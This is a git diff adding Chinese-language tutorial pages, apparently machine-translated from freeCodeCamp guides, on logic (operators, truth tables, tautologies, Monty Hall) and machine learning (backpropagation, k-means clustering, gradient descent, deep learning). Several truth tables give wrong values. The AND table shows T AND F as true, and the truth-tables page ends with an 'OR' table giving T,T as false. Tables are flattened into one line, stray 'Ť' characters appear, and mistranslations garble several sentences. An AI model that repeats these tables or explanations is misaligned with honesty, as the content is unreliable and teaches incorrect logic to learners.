diff --git a/client/src/guide/chinese/logic/logical-operators/index.md b/client/src/guide/chinese/logic/logical-operators/index.md
new file mode 100644
index 0000000000..893f1f7ab8
--- /dev/null
+++ b/client/src/guide/chinese/logic/logical-operators/index.md
@@ -0,0 +1,46 @@
+---
+title: Logical Operators
+localeTitle: 逻辑运算符
+---
+## 逻辑运算符
+
+**AND（&&）**  
+如果A和B都为True，则&& B返回True。如果A或B（或两者）都为False，则A && B为False。
+
+| A | B |和（A，B）| | --- | --- | --- | | F | t | f | | F | f | f | | T | t | t | | T | f | t |
+
+**或（||）**  
+如果A或B（或A和B都是），则A || B返回True。如果A和B都为False，则仅返回False。
+
+| A | B | OR（A，B）| | --- | --- | --- | | F | t | t | | F | f | f | | T | t | t | | T | f | t |
+
+**不（！）**  
+返回相反的值。防爆。如果A为真，那么！A为假，如果A为假，那么！A为真。这是唯一只对一个输入起作用的逻辑运算符，这使它成为一元运算符。
+
+| A | B | NOT（A）| NOT（B） | --- | --- | --- | --- | | F | t | t | f | | F | f | t | t | | T | t | f | f | | T | f | f | t |
+
+**异或（“eXclusive或”）**  
+被称为**独家或** 。与OR类似，但如果A和B都为真，则返回False。也就是说，如果A或B中只有一个为True，则XOR返回true。
+
+| A | B | XOR（A，B）| | --- | --- | --- | | F | t | t | | F | f | f | | T | t | f | | T | f | t |
+
+**含义（A - > B）**  
+读为“如果A，则B”或“A暗示B”。 仅当A为True且B为False时才返回False。否则暗示是真的。  
+![](http://sites.millersville.edu/bikenaga/math-proof/truth-tables/truth-tables13.png)
+
+注意：含义通常用于直接数学证明。 A代表假设，而B代表结论。
+
+条件为假的唯一时间是真值导致假值。
+
+| A | B | IF（A，B）| | --- | --- | --- | | F | t | t | | F | f | t | | T | t | t | | T | f | f |
+
+**逻辑等价（iff：if和only if）**  
+“P当且仅当Q”与“P暗示Q和Q暗示P”相同。换句话说，P和Q的真值表对于所有真值都是相同的。 这被称为双条件。它相当于A - > B **AND** B-> A.这意味着必须满足两个条件才能使双条件成立。
+
+您可以很容易地看到真值表中IFF运算符的输出与第3列和第4列的AND运算相同。
+
+| A | B | IF（A，B）| IF（B，A）| IFF（A，B）| | --- | --- | --- | --- | --- | | F | t | t | f | f | | F | f | t | t | t | | T | t | t | t | t | | T | f | f | t | f |
+
+#### 更多信息：
+
+\+ \* [Javascript中的逻辑运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators) + \* [PHP中的逻辑运算符](http://php.net/manual/en/language.operators.logical.php) + \* [C ++中的逻辑运算符](http://en.cppreference.com/w/cpp/language/operator_logical)
\ No newline at end of file
diff --git a/client/src/guide/chinese/logic/mobsters-riddle/index.md b/client/src/guide/chinese/logic/mobsters-riddle/index.md
new file mode 100644
index 0000000000..765c876498
--- /dev/null
+++ b/client/src/guide/chinese/logic/mobsters-riddle/index.md
@@ -0,0 +1,11 @@
+---
+title: Mobsters Riddle
+localeTitle: Mobsters Riddle
+---
+## Mobsters Riddle
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/logic/mobsters-riddle/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/logic/monty-hall-problem/index.md b/client/src/guide/chinese/logic/monty-hall-problem/index.md
new file mode 100644
index 0000000000..91da4085b1
--- /dev/null
+++ b/client/src/guide/chinese/logic/monty-hall-problem/index.md
@@ -0,0 +1,29 @@
+---
+title: Monty Hall Problem
+localeTitle: 蒙蒂霍尔问题
+---
+## 蒙蒂霍尔问题
+
+蒙蒂霍尔问题是一个概率之谜，以70年代游戏节目的主持人命名为基础，让我们做个交易。这个特殊问题是一个真实的悖论。这意味着有一种解决方案看似违反直觉，但事实证明是正确的。
+
+问题定义如下;你在游戏节目中有3个门，每个门后面都有不同的奖品。在三个门之一后面是一辆汽车。另外两只有山羊。您必须从3个门中选择一个作为奖品。假设您选择了1号门，但在门打开之前，Monty决定打开2号门，露出一只山羊。他现在问你是否愿意选择3号门。您是否应该选择3号门而不是原来的选择？它甚至重要吗？
+
+事实证明，选择确实很重要，将您的决定转移到3号门实际上对您有利！这就是原因。当您从3个关闭的门中选择1号门时，您有1/3的机会选择了正确的门。门2和门3也有三分之一的机会在它后面有一辆车。你也可以说，门2和3的有车背后_组合_的2出3机会。
+
+![Probability before revealing a goat](https://i.imgur.com/8EsVvZk.png "暴露山羊之前的概率")
+
+现在，当主机打开门2并且它包含一只山羊时，您现在可以获得有关该问题的更多信息。请记住，门2和门3的总概率包含汽车的2 / 3rds。门显示你知道门2没有车。但是，这个揭示不会改变两扇门的组合概率。这是关键的内容！由于我们现在知道门2有0/3的机会展示汽车，你现在可以说门3有2 / 3rds的机会包含汽车。结合门2和门3的概率仍然比门2打开前的2 / 3rds加起来。门1保持不变，只有1/3的机会。因此，如果您决定转换，那么从大约33.33％的机会到66.67％的选择。换句话说，你通过切换加倍成功的机会！
+
+![Probability after revealing a goat](https://i.imgur.com/V2JzAka.png "揭露山羊后的概率")
+
+是的，门1可能一直有车，蒙蒂欺骗了你。那没关系。你通过这笔交易赌博，但你赌博聪明。您可以根据所提供的信息做出最佳决定并让骰子滚动。从长远来看，你比决定保留首选的选手表现出更好的转换效果。最后，Monty实际上会欺骗自己，为你提供更好的交易。
+
+#### 更多信息：
+
+[Monty Hall问题 - 数字文件](https://www.youtube.com/watch?time_continue=1&v=4Lb-6rxZxx0)
+
+[21凯文斯派西蒙蒂霍尔问题](https://www.youtube.com/watch?v=YReov4c3taI)
+
+#### 更多信息：
+
+*   Monty Hall问题文章： [维基百科](https://en.wikipedia.org/wiki/Monty_Hall_problem)
\ No newline at end of file
diff --git a/client/src/guide/chinese/logic/normal-forms/index.md b/client/src/guide/chinese/logic/normal-forms/index.md
new file mode 100644
index 0000000000..e407dc0c71
--- /dev/null
+++ b/client/src/guide/chinese/logic/normal-forms/index.md
@@ -0,0 +1,11 @@
+---
+title: Normal Forms
+localeTitle: 正常形式
+---
+## 正常形式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/logic/tautologies/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/logic/satisfiability/index.md b/client/src/guide/chinese/logic/satisfiability/index.md
new file mode 100644
index 0000000000..5696591973
--- /dev/null
+++ b/client/src/guide/chinese/logic/satisfiability/index.md
@@ -0,0 +1,16 @@
+---
+title: Satisfiability
+localeTitle: 可满足
+---
+## 可满足
+
+如果对于变量的某些真/假赋值**有时**是公式P，则认为公式P是**可满足**的。
+
+例：
+
+*   x ^ y：可满足x = T，y = T.
+*   xvy - > x：可满足x = T，y = F.
+
+如果没有分配，则认为不满意。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/logic/tautologies/index.md b/client/src/guide/chinese/logic/tautologies/index.md
new file mode 100644
index 0000000000..fb3240f0b3
--- /dev/null
+++ b/client/src/guide/chinese/logic/tautologies/index.md
@@ -0,0 +1,67 @@
+---
+title: Tautologies
+localeTitle: 重言式
+---
+## 重言式
+
+### 定义
+
+在逻辑上，重言式是一种在每种可能情况下都是正确的陈述。与重言式相反的是矛盾，在每种可能的情况下都是错误的陈述。
+
+### 例
+
+p
+
+q
+
+p OR q
+
+p→p OR q
+
+Ť
+
+Ť
+
+Ť
+
+Ť
+
+Ť
+
+F
+
+Ť
+
+Ť
+
+F
+
+Ť
+
+Ť
+
+Ť
+
+F
+
+F
+
+F
+
+Ť
+
+正如我们在真值表中看到的那样，语句“p→p OR q”始终为真（参见最后一栏）。
+
+布尔逻辑方面的一个例子是`B || !B` 。 B是真的或B不是真的总是如此。
+
+与重言式相反的是一个矛盾，一个“总是虚假”的公式。换句话说，对于每个真值分配到其简单组件，矛盾是错误的。
+
+与布尔逻辑矛盾的一个例子是`B && !B` 。 B不可能同时存在真假。
+
+#### 注意
+
+箭头只是意味着“暗示”。 p表示p OR q，它也可能意味着_......然后......_
+
+#### 更多信息：
+
+[维基百科重言式（逻辑）](https://en.wikipedia.org/wiki/Tautology_(logic)) [Youtube真理表](https://www.youtube.com/watch?v=O0KbymjE7xU) [维基百科逻辑符号](https://en.wikipedia.org/wiki/List_of_logic_symbols)
\ No newline at end of file
diff --git a/client/src/guide/chinese/logic/truth-tables/index.md b/client/src/guide/chinese/logic/truth-tables/index.md
new file mode 100644
index 0000000000..17133136df
--- /dev/null
+++ b/client/src/guide/chinese/logic/truth-tables/index.md
@@ -0,0 +1,74 @@
+---
+title: Truth Tables
+localeTitle: 真相表
+---
+## 真相表
+
+真值表是布尔代数中使用的数学工具。它由一个用于函数变量的列组成。最后一列保存为变量的相应值评估的功能值。对于n个变量的布尔函数，其真值表扩展将具有2 ^ n行。这是因为每个变量都有两种可能的状态 - 真和假。
+
+### 和
+
+让我们探索AND运算符的真值表：
+
+| x | y | x和y | | --- | --- | --- | | F | F | F | | F | T | F | | T | F | F | | T | T | T |
+
+AND是二元运算符。它对两个变量进行操作，比如`x` ， `y` 。
+
+因此，我们的真值表中有2 ^ 2 = 4列！
+
+最后一列是功能值 - x AND y.AND操作的逻辑是，如果x和y的值都是True，则输出的值为True，否则为False。
+
+类似的其他逻辑运算符的真值表 -
+
+### 不
+
+| x |不是X | | --- | --- | | F | T | | T | F |
+
+### 要么
+
+| x | y | x OR y | | --- | --- | --- | | F | F | F | | F | T | T | | T | F | T | | T | T | T |
+
+### XOR
+
+| x | y | x XOR y | | --- | --- | --- | | F | F | F | | F | T | T | | T | F | T | | T | T | F |
+
+OR运算符：
+
+| x | y | x OR y | | --- | --- | --- | | F | F | F | | F | T | T | | T | F | T | | T | T | T |
+
+NOT运算符：
+
+| x |不是x | | --- | --- | | F | T | | T | F |
+
+蕴涵运营商：
+
+| x | y | x IMPLY y | | --- | --- | --- | | F | F | T | | F | T | T | | T | F | F | | T | T | T |
+
+暗示操作符通常会让某些人感到困惑。将现实世界的示例联系起来以帮助理解该运算符是有用的。例如，考虑： 如果下雨，我会用雨伞。 在这里，假设正在下雨，那么我使用一把伞（声明保持） 但是，如果下雨，我不使用雨伞，那么声明就没有成功。 尽管如此，如果没有下雨，我仍然使用雨伞，那么声明也有说明（如果伞是否被使用并不重要，因为它不会下雨。虽然它看起来很奇怪）。
+
+然而，蕴涵算子可能会对涉及在现实世界中是错误的命题感到困惑。考虑： 如果太阳是由水制成的，那么1 + 1 = 3。 根据蕴涵真值表，这个命题公式是正确的。
+
+P暗示Q也可以被认为是NOT（P）OR Q的缩写。
+
+双重蕴涵算子：
+
+| x | y | x < - > y | | --- | --- | --- | | F | F | T | | F | T | F | | T | F | F | | T | T | T |
+
+真值表是一个强大的工具。它们可用于表达和评估简单的布尔函数和运算，复杂的组合电路和时序逻辑电路！
+
+这是OR运算符的真值表
+
+| x | y | x OR y | | --- | --- | --- | | F | F | F | | F | T | T | | T | F | T | | T | T | F |
+
+就像上面的OR运算符对两个变量进行操作一样，请注意，OR运算符求值为True的唯一时间是`x` ＆ `y`相互抵消。
+
+让我们再做一次，让我们为Negation做表，这是在一个值而不是两个值上运行
+
+| x |不是x | | --- | --- | | T | F | | F | T |
+
+这个规则更简单，它只是否定了`x`的原始值
+
+#### 更多信息：
+
+*   [超物理学 - 佐治亚州立大学](http://hyperphysics.phy-astr.gsu.edu/hbase/Electronic/truth.html)
+*   [维基百科](https://en.wikipedia.org/wiki/Truth_table)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/backpropagation/index.md b/client/src/guide/chinese/machine-learning/backpropagation/index.md
new file mode 100644
index 0000000000..9330da5e50
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/backpropagation/index.md
@@ -0,0 +1,48 @@
+---
+title: Backpropagation
+localeTitle: 反向传播
+---
+## 反向传播
+
+Backprogapation是[神经网络](../neural-networks/index.md)的子主题，是计算网络中每个节点的梯度的过程。这些梯度测量每个节点对输出层有贡献的“误差”，因此在训练神经网络时，这些梯度被最小化。
+
+注意：反向传播和机器学习一般需要非常熟悉线性代数和矩阵操作。在尝试理解本文的内容之前，强烈建议您阅读或阅读此主题。
+
+### 计算
+
+反向传播的过程可以分三个步骤来解释。
+
+鉴于以下内容
+
+*   m个L层神经网络的训练样例（x，y）
+*   g = sigmoid函数
+*   Theta（i）=从第i层到第i + 1层的过渡矩阵
+*   a（l）= g（z（l））;基于一个训练示例的层l中的节点的值的数组
+*   z（l）= Theta（l-1）a（l-1）
+*   Delta一组L矩阵表示第i层和第i + 1层之间的过渡
+*   d（l）=一个训练示例的层l的梯度阵列
+*   D一组L矩阵，每个节点具有最终梯度
+*   lambda网络的规范化术语
+
+在这种情况下，对于矩阵M，M'将表示矩阵M的转置
+
+1.  分配Delta（i）的所有条目，对于i，从1到L，为零。
+2.  对于从1到m的每个训练示例t，执行以下操作：
+
+*   在每个示例上执行前向传播以计算每个层的（1）和z（l）
+*   计算d（L）= a（L） - y（t）
+*   计算d（l）=（Theta（l）'•d（l + 1））•g（z（l））表示l从L-1到1
+*   增量Delta（l）乘以delta（l + 1）•a（l）'
+
+1.  将Delta matricies插入我们的偏导数矩阵中 D（l）= 1 \\ m（Delta（1）+ lambda·Theta（l））;如果l≠0 D（l）= 1 \\ m•Delta（l）;如果l = 0
+
+当然，只是看到这篇文章看起来非常复杂，应该只在神经网络和机器学习的更大背景下理解。请查看加密的参考资料，以便更好地理解整个主题。
+
+#### 更多信息：
+
+*   [第4讲CS231n神经网络简介](https://youtu.be/d14TUNcbn1k?t=354)
+*   [Siraj Raval - 5分钟内的反向传播](https://www.youtube.com/watch?v=q555kfIFUCM)
+*   [Andrew Ng的ML课程](https://www.coursera.org/learn/machine-learning/)
+*   [深入，维基风格的文章](https://brilliant.org/wiki/backpropagation/)
+*   [维基百科上的Backprop](https://en.wikipedia.org/wiki/Backpropagation)
+*   [逐步反向传播示例](https://mattmazur.com/2015/03/17/a-step-by-step-backpropagation-example/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/bayes-classifier/index.md b/client/src/guide/chinese/machine-learning/bayes-classifier/index.md
new file mode 100644
index 0000000000..52bb405e28
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/bayes-classifier/index.md
@@ -0,0 +1,18 @@
+---
+title: Bayes Classifier
+localeTitle: 贝叶斯分类器
+---
+贝叶斯分类器基于应用贝叶斯定理来更新其对事件发生概率的信念。
+
+![贝叶斯定理](https://github.com/Cheungo/bayes_theorem_image/blob/master/CodeCogsEqn.gif?raw=true)
+
+贝叶斯定理允许您计算给定A的B的概率，前提是您有给定的B，A和B的概率。
+
+贝叶斯分类器通过保持每种可能情景的概率来模拟不确定性。随着更多信息的可用性，更新概率以更准确地反映现在已知的给定情况。
+
+#### 推荐阅读：
+
+*   https://monkeylearn.com/blog/practical-explanation-naive-bayes-classifier/
+*   https://en.wikipedia.org/wiki/Naive _贝叶斯_分类器
+*   https://youtu.be/XcwH9JGfZOU（第1部分）
+*   https://youtu.be/k2diLn5Nqbs（第2部分）
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/brownian-motion/index.md b/client/src/guide/chinese/machine-learning/brownian-motion/index.md
new file mode 100644
index 0000000000..329f49b57e
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/brownian-motion/index.md
@@ -0,0 +1,11 @@
+---
+title: Brownian Motion
+localeTitle: 布朗运动
+---
+## 布朗运动
+
+布朗运动或pedesis（来自古希腊语：πήδησις/pέːdεːsis/“leaping”）是悬浮在流体（液体或气体）中的粒子随机运动，这些粒子与气体中快速移动的原子或分子发生碰撞或液体。
+
+这种运输现象以植物学家罗伯特·布朗命名。 1827年，他在通过显微镜观察被困在水中花粉粒内腔中的颗粒时，注意到颗粒在水中移动;但是他无法确定导致这种运动的机制。长期以来，原子和分子被理论化为物质的成分，阿尔伯特·爱因斯坦于1905年发表了一篇论文，详细解释了布朗观察到的运动是由于花粉被个别水分子移动而造成的。科学的第一大贡献。对布朗运动的这种解释充当了令人信服的证据，证明原子和分子存在，并且在1908年由Jean Perrin进一步验证。佩林于1926年被授予诺贝尔物理学奖“因为他对物质的不连续结构的研究”（爱因斯坦曾五年前获得该奖项“为理论物理学提供服务”，并对不同的研究进行了具体的引用。原子轰击力的方向是不断变化的，并且在不同的时间，粒子在一侧比另一侧受到更多的击打，导致运动看似随机的性质。
+
+布朗运动是连续时间随机（或概率）过程中最简单的一种，它是更简单和更复杂的随机过程的极限（参见随机游走和Donsker定理）。这种普遍性与正态分布的普遍性密切相关。在这两种情况下，通常都是数学方便，而不是模型的准确性，这促使了它们的使用。
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/clustering-algorithms/index.md b/client/src/guide/chinese/machine-learning/clustering-algorithms/index.md
new file mode 100644
index 0000000000..86b5693fc6
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/clustering-algorithms/index.md
@@ -0,0 +1,131 @@
+---
+title: Clustering Algorithms
+localeTitle: 聚类算法
+--- # 聚类算法
+
+群集是将数据划分为单独的组（群集）的过程，同时确保：
+
+*   每个群集包含类似的对象
+*   不属于相同群集的对象不相似
+
+聚类算法有助于在未标记数据集合中查找结构，并属于无监督学习的范畴。
+
+难点在于定义可以按照您想要的方式分离数据的相似性度量。例如，一群人可以按性别，头发颜色，体重，种族等分开。
+
+聚类算法的任务是对一组对象进行分组，使得同一组（称为集群）中的对象（在某种意义上或某种意义上）彼此之间的对象比对其他组（集群）中的对象更相似。它是探索性数据挖掘的主要任务，也是统计数据分析的常用技术。它被用于许多领域，包括机器学习，模式识别，图像分析，信息检索，生物信息学，数据压缩和计算机图形学。
+
+聚类算法的一些应用包括：
+
+*   根据消费者的购买模式对消费者进行分组
+*   将同类动物的照片分组在一起
+*   不同类型文件的分类
+
+## 聚类算法的类型：
+
+1.  基于连接的聚类（层次聚类）
+2.  基于质心或点分配聚类（k均值聚类）
+3.  基于分布的群集
+4.  基于密度的聚类
+
+聚类算法的一些示例是：
+
+1.  Alogmerative聚类
+2.  K均值聚类
+3.  K-mediods聚类
+4.  分区聚类
+
+### 分层聚类
+
+有一些聚类方法只使用实例的相似性，而对数据没有任何其他要求;目的是找到组，使得组中的实例彼此更相似，而不是不同组中的实例。这是分层聚类所采用的方法。
+
+这需要使用在实例之间定义的相似性或等效距离度量。通常使用欧几里德距离，其中必须确保所有属性具有相同的比例。
+
+### 点分配
+
+此方法维护一组聚类，并将点放置到最近的聚类。
+
+## 特定的聚类算法
+
+### K-Means聚类
+
+K-means算法是一种流行的聚类算法，因为它相对简单和快速，与其他聚类算法相反。算法定义如下：
+
+1.  决定输入参数k（簇数）
+2.  选择k个随机数据点作为质心
+3.  计算每个k质心的所有数据点的距离，并将每个数据点分配给包含最近质心的簇
+4.  对所有数据点进行分类后，计算每个聚类的所有点的中点并指定为新的质心
+5.  重复步骤3和4，直到质心收敛到某些k点。
+
+由于我们只需要计算kxn距离（而不是knn算法的n（n-1）距离），因此该算法具有很强的可扩展性。
+
+这是Python中使用[Iris数据集](https://www.kaggle.com/uciml/iris)的聚类示例
+
+```python
+import pandas as pd 
+ import numpy as np 
+ iris = pd.read_csv('Iris.csv') 
+ del iris['Id'] 
+ del iris['SepalLengthCm'] 
+ del iris['SepalWidthCm'] 
+ 
+ from matplotlib import pyplot as plt 
+ # k is the input parameter set to the number of species 
+ k = len(iris['Species'].unique()) 
+ for i in iris['Species'].unique(): 
+    # select only the applicable rows 
+    ds = iris[iris['Species'] == i] 
+    # plot the points 
+    plt.plot(ds[['PetalLengthCm']],ds[['PetalWidthCm']],'o') 
+ plt.title("Original Iris by Species") 
+ plt.show() 
+ 
+ from sklearn import cluster 
+ del iris['Species'] 
+ kmeans = cluster.KMeans(n_clusters=k, n_init=10, max_iter=300, algorithm='auto') 
+ kmeans.fit(iris) 
+ labels = kmeans.labels_ 
+ centroids = kmeans.cluster_centers_ 
+ 
+ for i in range(k): 
+    # select only data observations from the applicable cluster 
+    ds = iris.iloc[np.where(labels==i)] 
+    # plot the data observations 
+    plt.plot(ds['PetalLengthCm'],ds['PetalWidthCm'],'o') 
+    # plot the centroids 
+    lines = plt.plot(centroids[i,0],centroids[i,1],'kx') 
+    # make the centroid x's bigger 
+    plt.setp(lines,ms=15.0) 
+    plt.setp(lines,mew=2.0) 
+ plt.title("Iris by K-Means Clustering") 
+ plt.show() 
+```
+
+由于数据点通常属于高维空间，因此相似性度量通常被定义为两个向量之间的距离（Euclidean，Manhathan，Cosine，Mahalanobis ......）
+
+### 混合密度
+
+我们可以写_混合密度_为： ![混合密度](https://latex.codecogs.com/gif.latex?p%28x%29%20%3D%20%5Csum_%7Bi%3D1%7D%5E%7Bk%7Dp%28x%7CG_%7Bi%7D%29p%28G_%7Bi%7D%29) 其中Gi是混合物成分。它们也被称为组或集群。 p（x | Gi）是组分密度，P（Gi）是混合比例。组件数k是超参数，应事先指定。
+
+### 期望最大化（EM）
+
+在这种方法中是概率性的，我们寻找最大化样品可能性的组分密度参数。
+
+EM算法是在存在丢失或隐藏数据的情况下计算最大似然（ML）估计的有效迭代过程。在ML估计中，我们希望估计观测数据最可能的模型参数。
+
+EM算法的每次迭代都包括两个过程：E步和M步。
+
+1.  在期望或E步骤中，在给定观察数据和模型参数的当前估计的情况下估计缺失数据。这是使用条件期望来实现的，解释了术语的选择。
+2.  在M步骤中，在假设缺失数据已知的情况下，似然函数最大化。使用来自E步骤的丢失数据的估计来代替实际丢失的数据。
+
+由于保证算法在每次迭代时增加可能性，因此确保了收敛。
+
+## 更多信息：
+
+*   [维基百科集群分析文章](https://en.wikipedia.org/wiki/Cluster_analysis)
+*   [集群和相关算法简介](https://www.analyticsvidhya.com/blog/2016/11/an-introduction-to-clustering-and-different-methods-of-clustering/)
+*   [聚类算法 - 斯坦福大学幻灯片](https://web.stanford.edu/class/cs345a/slides/12-clustering.pdf)
+*   [聚类算法：从开始到现有技术](https://www.toptal.com/machine-learning/clustering-algorithms)
+*   [聚类分析：基本概念和算法](https://www-users.cs.umn.edu/~kumar/dmbook/ch8.pdf)
+*   [K均值聚类](https://www.datascience.com/blog/k-means-clustering)
+*   [期望最大化算法](https://www.cs.utah.edu/~piyush/teaching/EM_algorithm.pdf)
+*   [在Python中使用K-Means聚类](https://code.likeagirl.io/finding-dominant-colour-on-an-image-b4e075f98097)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/dataset-splitting/index.md b/client/src/guide/chinese/machine-learning/dataset-splitting/index.md
new file mode 100644
index 0000000000..fd36424246
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/dataset-splitting/index.md
@@ -0,0 +1,29 @@
+---
+title: Dataset Splitting
+localeTitle: 数据集拆分
+---
+## 数据集拆分
+
+分为培训，交叉验证和测试集是常见的最佳实践。 这允许您调整算法的各种参数，而无需做出特别符合训练数据的判断。
+
+### 动机
+
+数据集拆分成为消除ML算法中训练数据偏差的必要条件。 修改ML算法的参数以最佳地拟合训练数据通常导致过度拟合算法在实际测试数据上表现不佳。 出于这个原因，我们将数据集拆分为多个离散子集，我们在其上训练不同的参数。
+
+#### 训练集
+
+训练集用于计算算法在暴露于新数据时将使用的实际模型。 此数据集通常占整个可用数据的60％-80％（取决于您是否使用交叉验证集）。
+
+#### 交叉验证集
+
+交叉验证集用于模型选择（通常约为数据的20％）。 使用此数据集尝试在训练集上训练的算法的不同参数。 例如，您可以在交叉验证集上评估不同的模型参数（多项式度或lambda，正则化参数），以查看哪些参数最准确。
+
+#### 测试集
+
+测试集是您触摸的最终数据集（通常约占数据的20％）。 这是事实的来源。 预测测试集的准确性是ML算法的准确性。
+
+#### 更多信息：
+
+*   [AWS ML Doc](http://docs.aws.amazon.com/machine-learning/latest/dg/splitting-the-data-into-training-and-evaluation-data.html)
+*   [一个很好的stackoverflow帖子](https://stackoverflow.com/questions/13610074/is-there-a-rule-of-thumb-for-how-to-divide-a-dataset-into-training-and-validatio)
+*   [学术论文](https://www.mff.cuni.cz/veda/konference/wds/proc/pdf10/WDS10_105_i1_Reitermanova.pdf)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/deep-learning/gradient-descent/index.md b/client/src/guide/chinese/machine-learning/deep-learning/gradient-descent/index.md
new file mode 100644
index 0000000000..1316a85763
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/deep-learning/gradient-descent/index.md
@@ -0,0 +1,31 @@
+---
+title: Gradient Descent
+localeTitle: 梯度下降
+---
+## 梯度下降
+
+梯度下降是用于找到函数最小值的优化算法。在深度学习中，当无法通过分析计算参数时，此优化算法非常有用。
+
+![梯度下降](https://upload.wikimedia.org/wikipedia/commons/6/68/Gradient_descent.jpg) 您要做的是重复更新参数theta的值，直到最小化Cost Function J（θ）的值接近0;
+
+### 学习率
+
+步长的大小称为学习率。较大的学习速度使迭代更快，但它可能超过全局最小值，即我们正在寻找的值。另一方面，我们可以通过降低学习率来防止这种超调;但请注意，学习率越小，计算密集程度越高。这可能会不必要地延长计算时间，或者您可能无法完全达到全局最小值。
+
+### 特征缩放
+
+深度学习问题需要您使用多个功能来生成预测模型。例如，如果您正在构建房屋定价的预测模型，则必须处理价格本身，房间数量，批量区域等功能。这些功能的范围可能非常不同，例如在批次时面积可能在0到2000平方英尺之间，其他特征如房间数量在1到9之间。
+
+这是功能扩展（也称为规范化）派上用场的地方，以确保您的机器学习算法正常工作。
+
+### 随机梯度下降
+
+机器学习问题通常需要在数百万的样本大小上进行计算，这可能是计算密集型的。
+
+在随机梯度下降中，您更新每个示例的成本梯度的参数，而不是所有示例的成本梯度的总和。只需几次通过训练样例，您就可以更快地得出一组好的参数，因此学习速度也更快。
+
+### 进一步阅读
+
+*   [神经网络和深度学习指南](http://neuralnetworksanddeeplearning.com/)
+*   [机器学习的梯度下降](https://machinelearningmastery.com/gradient-descent-for-machine-learning/)
+*   [批量梯度下降与随机梯度下降之间的差异](https://towardsdatascience.com/difference-between-batch-gradient-descent-and-stochastic-gradient-descent-1187f1291aa1)
\ No newline at end of file
diff --git a/client/src/guide/chinese/machine-learning/deep-learning/index.md b/client/src/guide/chinese/machine-learning/deep-learning/index.md
new file mode 100644
index 0000000000..4a55c01750
--- /dev/null
+++ b/client/src/guide/chinese/machine-learning/deep-learning/index.md
@@ -0,0 +1,57 @@
+---
+title: Deep Learning
+localeTitle: 深度学习
+---
+## 深度学习
+
+深度学习是指机器学习中的一种技术，在这种技术中，您可以在一些架构中堆叠许多人工神经网络。
+
+对于没有经验的人来说，人工神经元基本上是某种数学函数。并且神经网络是相互连接的神经元。因此，在深度学习中，在某些架构中，您有许多数学函数堆叠在彼此的顶部（或侧面）。每个数学函数可以具有其自己的参数（例如，线`y = mx + c`的方程具有2个参数`m`和`c` ），这些参数需要被学习（在训练期间）。一旦学会了某项任务（比如分类猫和狗），这堆数学函数（神经元）就可以完成它对猫和狗图像进行分类的工作。
+
+![猫还是狗？](https://image.slidesharecdn.com/deeplearningfromanoviceperspective-150811155203-lva1-app6891/95/deep-learning-from-a-novice-perspective-3-638.jpg?cb=1439308391)
+
+### 为什么这是一个大问题？
+
+手动为一些任务提出一套规则可能非常棘手（尽管理论上可行）。例如，如果您尝试编写一组手动规则，以便对图像（基本上是一堆像素值）进行分类，确定它是属于猫还是狗，您就会明白为什么它很棘手。除此之外，狗和猫有各种形状，大小和颜色，更不用说，图像可以有不同的背景。您可以快速了解为什么编码这样一个简单的问题可能会有问题。
+
+深度学习有助于解决这个问题，即可以自动将图像分类为猫或狗的规则。它所需要的只是一堆已经正确分类为猫或狗的图像，它将能够学习所需的规则集。魔法！
+
+事实证明，存在许多与图像无关的问题（如语音识别），其中查找规则集非常棘手。如果已经存在大量标记数据，深度学习可以提供帮助。
+
+### 如何培养深度学习模型？
+
+训练深度神经网络（也就是我们在某些架构中安排的数学函数堆栈）基本上是一个具有大量超参数的艺术。超参数基本上是诸如使用哪种数学函数或使用哪种架构之类的东西，您需要手动识别，直到您的网络能够成功地对猫和狗进行分类。为了训练，您需要大量标记数据（在这种情况下，许多图像已经被归类为猫或狗）以及大量的计算能力和耐心！
+
+为了训练，你提供一个具有损失函数的神经网络，它基本上说明了神经网络与正确答案的结果有多么不同。根据损失函数的值，您可以更改数学函数的参数，以便下次网络尝试对同一图像进行分类时，损失函数的值会更低。您将继续查找损失函数的值并在整个训练数据集中反复更新参数，直到损失函数值在合理的边距内。您的大规模神经网络现已准备就绪！
+
+### 一些标准的神经网络架构
+
+在过去的几年中，一些模型（即数学函数，体系结构和参数的组合）已成为某些任务的标准。例如，一个名为Resnet-152的模型在2015年赢得了Imagenet挑战赛，其中包括尝试将图像分为1000个类别（包括猫和狗）。如果您计划执行类似的任务，那么建议从这些标准模型开始，如果它们不符合您的要求，则进行调整。
+
+一个resnet-152模型看起来像这样（如果你不理解它，不要担心。它只是以一些有趣的方式堆叠在一起的数学函数）：
+
+![Resnet-152型号](https://adeshpande3.github.io/assets/ResNet.gif)
+
+谷歌拥有自己的神经网络架构，赢得了2014年的Imagenet挑战。可以在[这里更详细地](https://adeshpande3.github.io/assets/GoogleNet.gif)看到[gif](https://adeshpande3.github.io/assets/GoogleNet.gif) 。
+
+### 如何实现自己的？
+
+现在有各种各样的深度学习框架，允许您指定要使用的数学函数，函数的体系结构以及用于训练的损失函数。由于这种模型的训练计算量非常大，因此大多数这些框架都会生成针对您可能拥有的任何硬件进行优化的代码。一些着名的框架是：
+
+*   [Apache MXNet](https://mxnet.incubator.apache.org/)
+*   [谷歌的Tensorflow](https://www.tensorflow.org/)
+*   [Pytorch](http://pytorch.org//)
